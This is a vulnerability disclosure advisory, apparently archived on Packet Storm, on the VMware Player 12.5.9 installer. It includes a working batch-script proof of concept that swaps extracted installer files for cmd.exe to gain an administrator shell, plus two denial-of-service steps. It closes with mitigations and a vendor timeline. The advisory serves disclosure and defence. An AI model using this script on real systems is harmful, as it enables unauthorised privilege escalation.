what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

VMWare Player 12.5.9 Privilege Escalation / Denial Of Service

VMWare Player 12.5.9 Privilege Escalation / Denial Of Service
Posted Aug 2, 2018
Authored by Stefan Kanthak

VMWare Player version 12.5.9 suffers from denial of service and privilege escalation vulnerabilities.

tags | exploit, denial of service, vulnerability
systems | windows
SHA-256 | 3597a0b8fd935bf73b872a863ad3b14ceb32e92df0c2d8514ae39dca10072a46

VMWare Player 12.5.9 Privilege Escalation / Denial Of Service

Change Mirror Download
Hi @ll,

the executable installer of VMware Player 12.5.9, published in
January 2018, available from
<https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>,
is vulnerable.

JFTR: VMware Player 12.5.9 is the last version which runs on
32-bit Windows, and the last to support older CPUs.


Although running with administrative privileges (its embedded
application manifest specifies "requireAdministrator"),
VMware-player-12.5.9-7535481.exe extracts files UNPROTECTED
into subdirectories of the user's %TEMP% directory for later
execution.
An UNPRIVILEGED process/user running under the same user
account can tamper with these unprotected files between their
creation and their use, resulting in escalation of privilege.


For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/27.html> and
<https://capec.mitre.org/data/definitions/29.html>


Demonstrations/proof of concepts:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The POCs work on standard installations of Windows, where the
user account created during Windows Setup is used.

This precondition is typically met: according to Microsoft's
own security intelligence reports, about 1/2 to 3/4 of the
about 600 million Windows installations which send telemetry
data have only ONE active user account.
See <https://www.microsoft.com/security/sir>


A) "escalation of privilege":
-----------------------------

1. create the following text file in an arbitrary directory:

--- vmware12.cmd ---
:LOOP1
@If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe" Goto :LOOP1

Copy NUL: "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\VMwarePlayer.msi"

:LOOP2
@If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe" Goto :LOOP2

Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe"

:LOOP3
Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe"
If ERRORLEVEL 1 Goto :LOOP3
--- EOF ---

2. fetch the executable installer VMware-player-12.5.9-7535481.exe;

3. start the batch script created in step 1, then run the executable
installer: notice the error message from the Windows Installer,
and the start of the command processor with administrative rights!


B) "denial of service":
-----------------------

1. add the NTFS "access control list entry" (D;OIIO;WP;;;WD) meaning
"deny execution of files in this directory for everyone, inheritable
to files in all subdirectories" to the user's %TEMP% directory;

2. fetch the executable installer VMware-player-12.5.9-7535481.exe
and run it: admire the MISLEADING wrong error message
"The installer could not load a required DLL"!


C) "denial of service":
-----------------------

1. create a(n empty) file
%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup

2. create the directory C:\VMwareTemp and the (empty) file
C:\VMwareTemp\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup

3. fetch the executable installer VMware-player-12.5.9-7535481.exe
and run it: admire the MISLEADING wrong error message
"Not enough space"!


Mitigations:
~~~~~~~~~~~~

1. DON'T use executable installers; stay far away from such
eternally vulnerable crap!

2. NEVER run executable installers from UNSAFE directories like
"%USERPROFILE%\Downloads\" or "%TEMP%\"
DISABLE execution of files (as shown above) in %USERPROFILE%!

3. Practice STRICT privilege separation: use a your privileged
"Administrator" account (especially the account created during
Windows setup) ONLY for administrative tasks, and COMPLETELY
separate unprivileged user accounts, with elevation requests
DISABLED. for your daily/regular work.


stay tuned
Stefan Kanthak


PS: also see <http://seclists.org/bugtraq/2018/Aug/0>


Timeline:
~~~~~~~~~

2018-06-03 vulnerability report(s) sent to vendor

2018-06-13 vendor acknowledged receipt:
"We will look into this and provide feedback in due course."

2018-06-14 vendor replies:
"It is my understanding that Workstation Player 12.x has
since reached end of general support (in February of 2018)
as per our Lifecycle Product Matrix
<https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>."

2018-08-02 report published
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close